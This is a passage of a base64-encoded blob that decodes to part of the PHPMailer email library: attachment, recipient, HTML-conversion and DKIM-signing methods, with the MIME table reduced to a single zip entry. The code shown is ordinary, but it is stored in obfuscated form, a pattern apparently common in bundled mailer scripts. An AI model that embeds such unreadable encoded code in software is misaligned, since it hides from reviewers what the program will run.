ApIHsKICAgICAgJG5hbWUgPSAkZmlsZW5hbWU7CiAgICB9CgogICAgLy8gQXBwZW5kIHRvICRhdHRhY2htZW50IGFycmF5CiAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgIDAgPT4gJHBhdGgsCiAgICAgIDEgPT4gJGZpbGVuYW1lLAogICAgICAyID0+ICRuYW1lLAogICAgICAzID0+ICRlbmNvZGluZywKICAgICAgNCA9PiAkdHlwZSwKICAgICAgNSA9PiBmYWxzZSwgIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICA2ID0+ICdpbmxpbmUnLAogICAgICA3ID0+ICRjaWQKICAgICk7CiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBBZGRTdHJpbmdFbWJlZGRlZEltYWdlKCRzdHJpbmcsICRjaWQsICRuYW1lID0gJycsICRlbmNvZGluZyA9ICdiYXNlNjQnLCAkdHlwZSA9ICcnKSB7CiAgICBpZiAoJHR5cGUgPT0gJycpIHsKICAgICAgJHR5cGUgPSBzZWxmOjpmaWxlbmFtZVRvVHlwZSgkbmFtZSk7CiAgICB9CiAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgIDAgPT4gJHN0cmluZywKICAgICAgMSA9PiAkbmFtZSwKICAgICAgMiA9PiAkbmFtZSwKICAgICAgMyA9PiAkZW5jb2RpbmcsCiAgICAgIDQgPT4gJHR5cGUsCiAgICAgIDUgPT4gdHJ1ZSwgIC8vIGlzU3RyaW5nQXR0YWNobWVudAogICAgICA2ID0+ICdpbmxpbmUnLAogICAgICA3ID0+ICRjaWQKICAgICk7CiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBJbmxpbmVJbWFnZUV4aXN0cygpIHsKICAgIGZvcmVhY2goJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICdpbmxpbmUnKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgIH0KICAgIH0KICAgIHJldHVybiBmYWxzZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBBdHRhY2htZW50RXhpc3RzKCkgewogICAgZm9yZWFjaCgkdGhpcy0+YXR0YWNobWVudCBhcyAkYXR0YWNobWVudCkgewogICAgICBpZiAoJGF0dGFjaG1lbnRbNl0gPT0gJ2F0dGFjaG1lbnQnKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgIH0KICAgIH0KICAgIHJldHVybiBmYWxzZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBBbHRlcm5hdGl2ZUV4aXN0cygpIHsKICAgIHJldHVybiAhZW1wdHkoJHRoaXMtPkFsdEJvZHkpOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIENsZWFyQWRkcmVzc2VzKCkgewogICAgZm9yZWFjaCgkdGhpcy0+dG8gYXMgJHRvKSB7CiAgICAgIHVuc2V0KCR0aGlzLT5hbGxfcmVjaXBpZW50c1tzdHJ0b2xvd2VyKCR0b1swXSldKTsKICAgIH0KICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQ2xlYXJDQ3MoKSB7CiAgICBmb3JlYWNoKCR0aGlzLT5jYyBhcyAkY2MpIHsKICAgICAgdW5zZXQoJHRoaXMtPmFsbF9yZWNpcGllbnRzW3N0cnRvbG93ZXIoJGNjWzBdKV0pOwogICAgfQogICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBDbGVhckJDQ3MoKSB7CiAgICBmb3JlYWNoKCR0aGlzLT5iY2MgYXMgJGJjYykgewogICAgICB1bnNldCgkdGhpcy0+YWxsX3JlY2lwaWVudHNbc3RydG9sb3dlcigkYmNjWzBdKV0pOwogICAgfQogICAgJHRoaXMtPmJjYyA9IGFycmF5KCk7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQ2xlYXJSZXBseVRvcygpIHsKICAgICR0aGlzLT5SZXBseVRvID0gYXJyYXkoKTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBDbGVhckFsbFJlY2lwaWVudHMoKSB7CiAgICAkdGhpcy0+dG8gPSBhcnJheSgpOwogICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICR0aGlzLT5iY2MgPSBhcnJheSgpOwogICAgJHRoaXMtPmFsbF9yZWNpcGllbnRzID0gYXJyYXkoKTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBDbGVhckF0dGFjaG1lbnRzKCkgewogICAgJHRoaXMtPmF0dGFjaG1lbnQgPSBhcnJheSgpOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIENsZWFyQ3VzdG9tSGVhZGVycygpIHsKICAgICR0aGlzLT5DdXN0b21IZWFkZXIgPSBhcnJheSgpOwogIH0KCiAgcHJvdGVjdGVkIGZ1bmN0aW9uIFNldEVycm9yKCRtc2cpIHsKICAgICR0aGlzLT5lcnJvcl9jb3VudCsrOwogICAgaWYgKCR0aGlzLT5NYWlsZXIgPT0gJ3NtdHAnIGFuZCAhaXNfbnVsbCgkdGhpcy0+c210cCkpIHsKICAgICAgJGxhc3RlcnJvciA9ICR0aGlzLT5zbXRwLT5nZXRFcnJvcigpOwogICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3IpIGFuZCBhcnJheV9rZXlfZXhpc3RzKCdzbXRwX21zZycsICRsYXN0ZXJyb3IpKSB7CiAgICAgICAgJG1zZyAuPSAnPHA+JyAuICR0aGlzLT5MYW5nKCdzbXRwX2Vycm9yJykgLiAkbGFzdGVycm9yWydzbXRwX21zZyddIC4gIjwvcD5cbiI7CiAgICAgIH0KICAgIH0KICAgICR0aGlzLT5FcnJvckluZm8gPSAkbXNnOwogIH0KCiAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBSRkNEYXRlKCkgewogICAgZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldChAZGF0ZV9kZWZhdWx0X3RpbWV6b25lX2dldCgpKTsKICAgIHJldHVybiBkYXRlKCdELCBqIE0gWSBIOmk6cyBPJyk7CiAgfQoKICBwcm90ZWN0ZWQgZnVuY3Rpb24gU2VydmVySG9zdG5hbWUoKSB7CiAgICBpZiAoIWVtcHR5KCR0aGlzLT5Ib3N0bmFtZSkpIHsKICAgICAgJHJlc3VsdCA9ICR0aGlzLT5Ib3N0bmFtZTsKICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUlsnU0VSVkVSX05BTUUnXSkpIHsKICAgICAgJHJlc3VsdCA9ICRfU0VSVkVSWydTRVJWRVJfTkFNRSddOwogICAgfSBlbHNlIHsKICAgICAgJHJlc3VsdCA9ICdsb2NhbGhvc3QubG9jYWxkb21haW4nOwogICAgfQoKICAgIHJldHVybiAkcmVzdWx0OwogIH0KCiAgcHJvdGVjdGVkIGZ1bmN0aW9uIExhbmcoJGtleSkgewogICAgaWYoY291bnQoJHRoaXMtPmxhbmd1YWdlKSA8IDEpIHsKICAgICAgJHRoaXMtPlNldExhbmd1YWdlKCdlbicpOyAvLyBzZXQgdGhlIGRlZmF1bHQgbGFuZ3VhZ2UKICAgIH0KCiAgICBpZihpc3NldCgkdGhpcy0+bGFuZ3VhZ2VbJGtleV0pKSB7CiAgICAgIHJldHVybiAkdGhpcy0+bGFuZ3VhZ2VbJGtleV07CiAgICB9IGVsc2UgewogICAgICByZXR1cm4gJ0xhbmd1YWdlIHN0cmluZyBmYWlsZWQgdG8gbG9hZDogJyAuICRrZXk7CiAgICB9CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gSXNFcnJvcigpIHsKICAgIHJldHVybiAoJHRoaXMtPmVycm9yX2NvdW50ID4gMCk7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gRml4RU9MKCRzdHIpIHsKCSRuc3RyID0gc3RyX3JlcGxhY2UoYXJyYXkoIlxyXG4iLCAiXHIiKSwgIlxuIiwgJHN0cik7CglpZiAoJHRoaXMtPkxFICE9PSAiXG4iKSB7CgkJJG5zdHIgPSBzdHJfcmVwbGFjZSgiXG4iLCAkdGhpcy0+TEUsICRuc3RyKTsKCX0KICAgIHJldHVybiAgJG5zdHI7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gQWRkQ3VzdG9tSGVhZGVyKCRuYW1lLCAkdmFsdWU9bnVsbCkgewoJaWYgKCR2YWx1ZSA9PT0gbnVsbCkgewoJCSR0aGlzLT5DdXN0b21IZWFkZXJbXSA9IGV4cGxvZGUoJzonLCAkbmFtZSwgMik7Cgl9IGVsc2UgewoJCSR0aGlzLT5DdXN0b21IZWFkZXJbXSA9IGFycmF5KCRuYW1lLCAkdmFsdWUpOwoJfQogIH0KCiAgcHVibGljIGZ1bmN0aW9uIE1zZ0hUTUwoJG1lc3NhZ2UsICRiYXNlZGlyID0gJycsICRhZHZhbmNlZCA9IGZhbHNlKSB7CiAgICBwcmVnX21hdGNoX2FsbCgiLyhzcmN8YmFja2dyb3VuZCk9W1wiJ10oLiopW1wiJ10vVWkiLCAkbWVzc2FnZSwgJGltYWdlcyk7CiAgICBpZiAoaXNzZXQoJGltYWdlc1syXSkpIHsKICAgICAgZm9yZWFjaCAoJGltYWdlc1syXSBhcyAkaSA9PiAkdXJsKSB7CiAgICAgICAgLy8gZG8gbm90IGNoYW5nZSB1cmxzIGZvciBhYnNvbHV0ZSBpbWFnZXMgKHRoYW5rcyB0byBjb3J2dXNjb3JheCkKICAgICAgICBpZiAoIXByZWdfbWF0Y2goJyNeW0Etel0rOi8vIycsICR1cmwpKSB7CiAgICAgICAgICAkZmlsZW5hbWUgPSBiYXNlbmFtZSgkdXJsKTsKICAgICAgICAgICRkaXJlY3RvcnkgPSBkaXJuYW1lKCR1cmwpOwogICAgICAgICAgaWYgKCRkaXJlY3RvcnkgPT0gJy4nKSB7CiAgICAgICAgICAgICRkaXJlY3RvcnkgPSAnJzsKICAgICAgICAgIH0KICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkuJ0BwaHBtYWlsZXIuMCc7IC8vUkZDMjM5MiBTIDIKICAgICAgICAgIGlmIChzdHJsZW4oJGJhc2VkaXIpID4gMSAmJiBzdWJzdHIoJGJhc2VkaXIsIC0xKSAhPSAnLycpIHsKICAgICAgICAgICAgJGJhc2VkaXIgLj0gJy8nOwogICAgICAgICAgfQogICAgICAgICAgaWYgKHN0cmxlbigkZGlyZWN0b3J5KSA+IDEgJiYgc3Vic3RyKCRkaXJlY3RvcnksIC0xKSAhPSAnLycpIHsKICAgICAgICAgICAgJGRpcmVjdG9yeSAuPSAnLyc7CiAgICAgICAgICB9CiAgICAgICAgICBpZiAoJHRoaXMtPkFkZEVtYmVkZGVkSW1hZ2UoJGJhc2VkaXIuJGRpcmVjdG9yeS4kZmlsZW5hbWUsICRjaWQsICRmaWxlbmFtZSwgJ2Jhc2U2NCcsIHNlbGY6Ol9taW1lX3R5cGVzKHNlbGY6Om1iX3BhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSkpKSB7CiAgICAgICAgICAgICRtZXNzYWdlID0gcHJlZ19yZXBsYWNlKCIvIi4kaW1hZ2VzWzFdWyRpXS4iPVtcIiddIi5wcmVnX3F1b3RlKCR1cmwsICcvJykuIltcIiddL1VpIiwgJGltYWdlc1sxXVskaV0uIj1cImNpZDoiLiRjaWQuIlwiIiwgJG1lc3NhZ2UpOwogICAgICAgICAgfQogICAgICAgIH0KICAgICAgfQogICAgfQogICAgJHRoaXMtPklzSFRNTCh0cnVlKTsKICAgIGlmIChlbXB0eSgkdGhpcy0+QWx0Qm9keSkpIHsKICAgICAgJHRoaXMtPkFsdEJvZHkgPSAnVG8gdmlldyB0aGlzIGVtYWlsIG1lc3NhZ2UsIG9wZW4gaXQgaW4gYSBwcm9ncmFtIHRoYXQgdW5kZXJzdGFuZHMgSFRNTCEnIC4gIlxuXG4iOwogICAgfQogICAgJHRoaXMtPkJvZHkgPSAkdGhpcy0+Tm9ybWFsaXplQnJlYWtzKCRtZXNzYWdlKTsKICAgICR0aGlzLT5BbHRCb2R5ID0gJHRoaXMtPk5vcm1hbGl6ZUJyZWFrcygkdGhpcy0+aHRtbDJ0ZXh0KCRtZXNzYWdlLCAkYWR2YW5jZWQpKTsKICAgIHJldHVybiAkdGhpcy0+Qm9keTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBodG1sMnRleHQoJGh0bWwsICRhZHZhbmNlZCA9IGZhbHNlKSB7CiAgICBpZiAoJGFkdmFuY2VkKSB7CiAgICAgIC8vcmVxdWlyZV9vbmNlICdleHRyYXMvY2xhc3MuaHRtbDJ0ZXh0LnBocCc7CiAgICAgICRoID0gbmV3IGh0bWwydGV4dCgkaHRtbCk7CiAgICAgIHJldHVybiAkaC0+Z2V0X3RleHQoKTsKICAgIH0KICAgIHJldHVybiBodG1sX2VudGl0eV9kZWNvZGUodHJpbShjdXN0b21fc3RyaXBfdGFncyhwcmVnX3JlcGxhY2UoJy88KGhlYWR8dGl0bGV8c3R5bGV8c2NyaXB0KVtePl0qPi4qPzxcL1xcMT4vc2knLCAnJywgJGh0bWwpKSksIEVOVF9RVU9URVMsICR0aGlzLT5DaGFyU2V0KTsKICB9CgogIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gX21pbWVfdHlwZXMoJGV4dCA9ICcnKSB7CiAgICAkbWltZXMgPSBhcnJheSgKICAgICAgJ3ppcCcgICA9PiAgJ2FwcGxpY2F0aW9uL3ppcCcsCiAgICApOwogICAgcmV0dXJuICghaXNzZXQoJG1pbWVzW3N0cnRvbG93ZXIoJGV4dCldKSkgPyAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyA6ICRtaW1lc1tzdHJ0b2xvd2VyKCRleHQpXTsKICB9CgogIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZmlsZW5hbWVUb1R5cGUoJGZpbGVuYW1lKSB7CiAgICAkcXBvcyA9IHN0cnBvcygkZmlsZW5hbWUsICc/Jyk7CiAgICBpZiAoJHFwb3MgIT09IGZhbHNlKSB7CiAgICAgICRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZW5hbWUsIDAsICRxcG9zKTsKICAgIH0KICAgICRwYXRoaW5mbyA9IHNlbGY6Om1iX3BhdGhpbmZvKCRmaWxlbmFtZSk7CiAgICByZXR1cm4gc2VsZjo6X21pbWVfdHlwZXMoJHBhdGhpbmZvWydleHRlbnNpb24nXSk7CiAgfQoKICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIG1iX3BhdGhpbmZvKCRwYXRoLCAkb3B0aW9ucyA9IG51bGwpIHsKICAgICRyZXQgPSBhcnJheSgnZGlybmFtZScgPT4gJycsICdiYXNlbmFtZScgPT4gJycsICdleHRlbnNpb24nID0+ICcnLCAnZmlsZW5hbWUnID0+ICcnKTsKICAgICRtID0gYXJyYXkoKTsKICAgIHByZWdfbWF0Y2goJyVeKC4qPylbXFxcXC9dKigoW14vXFxcXF0qPykoXC4oW15cLlxcXFwvXSs/KXwpKVtcXFxcL1wuXSokJWltJywgJHBhdGgsICRtKTsKICAgIGlmKGFycmF5X2tleV9leGlzdHMoMSwgJG0pKSB7CiAgICAgICRyZXRbJ2Rpcm5hbWUnXSA9ICRtWzFdOwogICAgfQogICAgaWYoYXJyYXlfa2V5X2V4aXN0cygyLCAkbSkpIHsKICAgICAgJHJldFsnYmFzZW5hbWUnXSA9ICRtWzJdOwogICAgfQogICAgaWYoYXJyYXlfa2V5X2V4aXN0cyg1LCAkbSkpIHsKICAgICAgJHJldFsnZXh0ZW5zaW9uJ10gPSAkbVs1XTsKICAgIH0KICAgIGlmKGFycmF5X2tleV9leGlzdHMoMywgJG0pKSB7CiAgICAgICRyZXRbJ2ZpbGVuYW1lJ10gPSAkbVszXTsKICAgIH0KICAgIHN3aXRjaCgkb3B0aW9ucykgewogICAgICBjYXNlIFBBVEhJTkZPX0RJUk5BTUU6CiAgICAgIGNhc2UgJ2Rpcm5hbWUnOgogICAgICAgIHJldHVybiAkcmV0WydkaXJuYW1lJ107CiAgICAgICAgYnJlYWs7CiAgICAgIGNhc2UgUEFUSElORk9fQkFTRU5BTUU6CiAgICAgIGNhc2UgJ2Jhc2VuYW1lJzoKICAgICAgICByZXR1cm4gJHJldFsnYmFzZW5hbWUnXTsKICAgICAgICBicmVhazsKICAgICAgY2FzZSBQQVRISU5GT19FWFRFTlNJT046CiAgICAgIGNhc2UgJ2V4dGVuc2lvbic6CiAgICAgICAgcmV0dXJuICRyZXRbJ2V4dGVuc2lvbiddOwogICAgICAgIGJyZWFrOwogICAgICBjYXNlIFBBVEhJTkZPX0ZJTEVOQU1FOgogICAgICBjYXNlICdmaWxlbmFtZSc6CiAgICAgICAgcmV0dXJuICRyZXRbJ2ZpbGVuYW1lJ107CiAgICAgICAgYnJlYWs7CiAgICAgIGRlZmF1bHQ6CiAgICAgICAgcmV0dXJuICRyZXQ7CiAgICB9CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gc2V0KCRuYW1lLCAkdmFsdWUgPSAnJykgewogICAgdHJ5IHsKICAgICAgaWYgKGlzc2V0KCR0aGlzLT4kbmFtZSkgKSB7CiAgICAgICAgJHRoaXMtPiRuYW1lID0gJHZhbHVlOwogICAgICB9IGVsc2UgewogICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPkxhbmcoJ3ZhcmlhYmxlX3NldCcpIC4gJG5hbWUsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICB9CiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgICAgJHRoaXMtPlNldEVycm9yKCRlLT5nZXRNZXNzYWdlKCkpOwogICAgICBpZiAoJGUtPmdldENvZGUoKSA9PSBzZWxmOjpTVE9QX0NSSVRJQ0FMKSB7CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICB9CiAgICB9CiAgICByZXR1cm4gdHJ1ZTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBTZWN1cmVIZWFkZXIoJHN0cikgewogICAgcmV0dXJuIHRyaW0oc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwgIlxuIiksICcnLCAkc3RyKSk7CiAgfQoKICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIE5vcm1hbGl6ZUJyZWFrcygkdGV4dCwgJGJyZWFrdHlwZSA9ICJcclxuIikgewogICAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcclxufFxyfFxuKS9tcycsICRicmVha3R5cGUsICR0ZXh0KTsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBTaWduKCRjZXJ0X2ZpbGVuYW1lLCAka2V5X2ZpbGVuYW1lLCAka2V5X3Bhc3MpIHsKICAgICR0aGlzLT5zaWduX2NlcnRfZmlsZSA9ICRjZXJ0X2ZpbGVuYW1lOwogICAgJHRoaXMtPnNpZ25fa2V5X2ZpbGUgPSAka2V5X2ZpbGVuYW1lOwogICAgJHRoaXMtPnNpZ25fa2V5X3Bhc3MgPSAka2V5X3Bhc3M7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gREtJTV9RUCgkdHh0KSB7CiAgICAkbGluZSA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCR0eHQpOyAkaSsrKSB7CiAgICAgICRvcmQgPSBvcmQoJHR4dFskaV0pOwogICAgICBpZiAoICgoMHgyMSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDNBKSkgfHwgJG9yZCA9PSAweDNDIHx8ICgoMHgzRSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDdFKSkgKSB7CiAgICAgICAgJGxpbmUgLj0gJHR4dFskaV07CiAgICAgIH0gZWxzZSB7CiAgICAgICAgJGxpbmUgLj0gIj0iLnNwcmludGYoIiUwMlgiLCAkb3JkKTsKICAgICAgfQogICAgfQogICAgcmV0dXJuICRsaW5lOwogIH0KCiAgcHVibGljIGZ1bmN0aW9uIERLSU1fU2lnbigkcykgewogICAgaWYgKCFkZWZpbmVkKCdQS0NTN19URVhUJykpIHsKICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+TGFuZygic2lnbmluZyIpLicgT3BlblNTTCBleHRlbnNpb24gbWlzc2luZy4nKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICcnOwogICAgfQogICAgJHByaXZLZXlTdHIgPSBmaWxlX2dldF9jb250ZW50cygkdGhpcy0+REtJTV9wcml2YXRlKTsKICAgIGlmICgkdGhpcy0+REtJTV9wYXNzcGhyYXNlICE9ICcnKSB7CiAgICAgICRwcml2S2V5ID0gb3BlbnNzbF9wa2V5X2dldF9wcml2YXRlKCRwcml2S2V5U3RyLCAkdGhpcy0+REtJTV9wYXNzcGhyYXNlKTsKICAgIH0gZWxzZSB7CiAgICAgICRwcml2S2V5ID0gJHByaXZLZXlTdHI7CiAgICB9CiAgICBpZiAob3BlbnNzbF9zaWduKCRzLCAkc2lnbmF0dXJlLCAkcHJpdktleSkpIHsKICAgICAgcmV0dXJuIGJhc2U2NF9lbmNvZGUoJHNpZ25hdHVyZSk7CiAgICB9CiAgICByZXR1cm4gJyc7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gREtJTV9IZWFkZXJDKCRzKSB7CiAgICAkcyA9IHByZWdfcmVwbGFjZSgiL1xyXG5ccysvIiwgIiAiLCAkcyk7CiAgICAkbGluZXMgPSBleHBsb2RlKCJcclxuIiwgJHMpOwogICAgZm9yZWFjaCAoJGxpbmVzIGFzICRrZXkgPT4gJGxpbmUpIHsKICAgICAgbGlzdCgkaGVhZGluZywgJHZhbHVlKSA9IGV4cGxvZGUoIjoiLCAkbGluZSwgMik7CiAgICAgICRoZWFkaW5nID0gc3RydG9sb3dlcigkaGVhZGluZyk7CiAgICAgICR2YWx1ZSA9IHByZWdfcmVwbGFjZSgiL1xzKy8iLCAiICIsICR2YWx1ZSkgOyAvLyBDb21wcmVzcyB1c2VsZXNzIHNwYWNlcwogICAgICAkbGluZXNbJGtleV0gPSAkaGVhZGluZy4iOiIudHJpbSgkdmFsdWUpIDsgLy8gRG9uJ3QgZm9yZ2V0IHRvIHJlbW92ZSBXU1AgYXJvdW5kIHRoZSB2YWx1ZQogICAgfQogICAgJHMgPSBpbXBsb2RlKCJcclxuIiwgJGxpbmVzKTsKICAgIHJldHVybiAkczsKICB9CgogIHB1YmxpYyBmdW5jdGlvbiBES0lNX0JvZHlDKCRib2R5KSB7CiAgICBpZiAoJGJvZHkgPT0gJycpIHJldHVybiAiXHJcbiI7CiAgICAkYm9keSA9IHN0cl9yZXBsYWNlKCJcclxuIiwgIlxuIiwgJGJvZHkpOwogICAgJGJvZHkgPSBzdHJfcmVwbGFjZSgiXG4iLCAiXHJcbiIsICRib2R5KTsKICAgIHdoaWxlIChzdWJzdHIoJGJvZHksIHN0cmxlbigkYm9keSkgLSA0LCA0KSA9PSAiXHJcblxyXG4iKSB7CiAgICAgICRib2R5ID0gc3Vic3RyKCRib2R5LCAwLCBzdHJsZW4oJGJvZHkpIC0gMik7CiAgICB9CiAgICByZXR1cm4gJGJvZHk7CiAgfQoKICBwdWJsaWMgZnVuY3Rpb24gREtJTV9BZGQoJGhlYWRlcnNfbGluZSwgJHN1YmplY3QsICRib2R5KSB7CiAgICAkREtJTXNpZ25hdHVyZVR5cGUgICAgPSAncnNhLXNoYTEnOyAvLyBTaWduYXR1cmUgJiBoYXNoIGFsZ29yaXRobXMKICAgICRES0lNY2Fub25pY2FsaXphdGlvbiA9ICdyZWxheGVkL3NpbXBsZSc7IC8vIENhbm9uaWNhbGl6YXRpb24gb2YgaGVhZGVyL2JvZHkKICAgICRES0lNcXVlcnkgICAgICAgICAgICA9ICdkbnMvdHh0JzsgLy8gUXVlcnkgbWV0aG9kCiAgICAkREtJTXRpbWUgICAgICAgICAgICAgPSB0aW1lKCkgOyAvLyBTaWduYXR1cmUgVGltZXN0YW1wID0gc2Vjb25kcyBzaW5jZSAwMDowMDowMCAtIEphbiAxLCAxOTcwIChVVEMgdGltZSB6b25lKQogICAgJHN1YmplY3RfaGVhZGVyICAgICAgID0gIlN1YmplY3Q6ICRzdWJqZWN0IjsKICAgICRoZWFkZXJzICAgICAgICAgICAgICA9IGV4cGxvZGUoJHRoaXMtPkxFLCAkaGVhZGVyc19saW5lKTsKICAgICRmcm9tX2hlYWRlciAgICAgICAgICA9ICcnOwogICAgJHRvX2hlYWRlciAgICAgICAgICAgID0gJyc7CiAgICAkY3VycmVudCA9ICcnOwogICAgZm9yZWFjaCgkaGVhZGVycyBhcyAkaGVhZGVyKSB7CiAgICAgIGlmIChzdHJwb3MoJGhlYWRlciwgJ0Zyb206JykgPT09IDApIHsKICAgICAgICAkZnJvbV9oZWFkZXIgPSAkaGVhZGVyOwogICAgICAgICRjdXJyZW50ID0gJ2Zyb21faGVhZGVyJzsKICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnVG86JykgPT09IDApIHsKICAgICAgICAkdG9faGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAkY3VycmVudCA9ICd0b19oZWFkZXInOwogICAgICB9IGVsc2UgewogICAgICAgIGlmKCRjdXJyZW50ICYmIHN0cnBvcygkaGVhZGVyLCAnID0/JykgPT09IDApewogICAgICAgICAgJGN1cnJlbnQgLj0gJGhlYWRlcjsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgJGN1cnJlbnQgPSAnJzsKICAgICAgICB9CiAgICAgIH0KICAgIH0KICAgICRmcm9tICAgICA9IHN0cl9yZXBsYWNlKCd8JywgJz03QycsICR0aGlzLT5ES0lNX1FQKCRmcm9tX2hlYWRlcikpOwogICAgJHRvICAgICAgID0gc3RyX3JlcGxhY2UoJ3wnLCAnPTdDJywgJHRoaXMtPkRLSU1fUVAoJHRvX2hlYWRlcikpOwogICAgJHN1YmplY3QgID0gc3RyX3JlcGxhY2UoJ3wnLCAnPTdDJywgJHRoaXMtPkRLSU1fUVAoJHN1YmplY3RfaGVhZGVyKSkgOyAvLyBDb3BpZWQgaGVhZGVyIGZpZWxkcyAoZGtpbS1xdW90ZWQtcHJpbnRhYmxlCiAgICAkYm9keSAgICAgPSAkdGhpcy0+REtJTV9Cb2R5QygkYm9keSk7CiAgICAkREtJTWxlbiAgPSBzdHJsZW4oJGJvZHkpIDsgLy8gTGVuZ3RoIG9mIGJvZHkKICAgICRES0lNYjY0ICA9IGJhc2U2NF9lbmNvZGUocGFjaygiSCoiLCBzaGExKCRib2R5KSkpIDsgLy8gQmFzZTY0IG9mIHBhY2tlZCBiaW5hcnkgU0hBLTEgaGFzaCBvZiBib2R5CiAgICAkaWRlbnQgICAgPSAoJHRoaXMtPkRLSU1faWRlbnRpdHkgPT0gJycpPyAnJyA6ICIgaT0iIC4gJHRoaXMtPkRLSU1faWRlbnRpdHkgLiAiOyI7CiAgICAkZGtpbWhkcnMgPSAiREtJTS1TaWduYXR1cmU6IHY9MTsgYT0iIC4gJERLSU1zaWduYXR1cmVUeXBlIC4gIjsgcT0iIC4gJERLSU1xdWVyeSAuICI7IGw9IiAuICRES0lNbGVuIC4gIjsgcz0iIC4gJHRoaXMtPkRLSU1fc2VsZWN0b3IgLiAiO1xyXG4iLgogICAgICAgICAgICAgICAgIlx0dD0iIC4gJERLSU10aW1lIC4gIjsgYz0iIC4gJERLSU1jYW5vbmljYWxpemF0aW9uIC4gIjtcclxuIi4KICAgICAgICAgICAgICAgICJcdGg9RnJvbTpUbzpTdWJqZWN0O1xyXG4iLgogICAgICAgICAgICAgICAgIlx0ZD0iIC4gJHRoaXMtPkRLSU1fZG9tYWluIC4gIjsiIC4gJGlkZW50IC4gIlxyXG4iLgogICAgICAgICAgICAgICAgIlx0ej0kZnJvbVxyXG4iLgogICAgICAgICAgICAgICAgIlx0fCR0b1xyXG4iLgogICAgICAgICAgICAgICAgIlx0fCRzdWJqZWN0O1xyXG4iLgogICAgICAgICAgICAgICAgIlx0Ymg9IiAuICRES0lNYjY0IC4gIjtcclxuIi4KICAgICAgICAgICAgICAgICJcdGI9IjsKICAgICR0b1NpZ24gICA9ICR0aGlzLT5ES0lNX0hlYWRlckMoJGZyb21faGVhZGVyIC4gIlxyXG4iIC4gJHRvX2hlYWRlciAuICJcclxuIiAuICRzdWJqZWN0X2hlYWRlciAuICJcclxuIiAuICRka2ltaGRycyk7CiAgICAkc2lnbmVkICAgPSAkdGhpcy0+REtJTV9TaWduKCR0b1NpZ24pOwogICAgcmV0dXJuICRka2ltaGRycy4kc2lnbmVkLiJcclxuIjsKICB9CgogIHByb3RlY3RlZCBmdW5jdGlvbiBkb0NhbGxiYWNrKCRpc1NlbnQsICR0bywgJGNjLCAkYmNjLCAkc3ViamVjdCwgJGJvZHksICRmcm9tID0gbnVsbCkgewogICAgaWYgKCFlbXB0eSgkdGhpcy0+YWN0aW9uX2Z1bmN0aW9uKSAmJiBpc19jYWxsYWJsZSgkdGhpcy0+YWN0aW9uX2Z1bmN0aW9uKSkgewogICAgICAkcGFyYW1zID0gYXJyYXkoJGlzU2VudCwgJHRvLCAkY2MsICRiY2MsICRzdWJqZWN0LCAkYm9keSwgJGZyb20pOwogICAgICBjYWxsX3VzZXJfZnVuY19hcnJheSgkdGhpcy0+YWN0aW9uX2Z1bmN0aW9uLCAkcGFyYW1zKTsKICAgIH0KICB9Cn0KCmNsYXNzIHBocG1haWxlckV4Y2V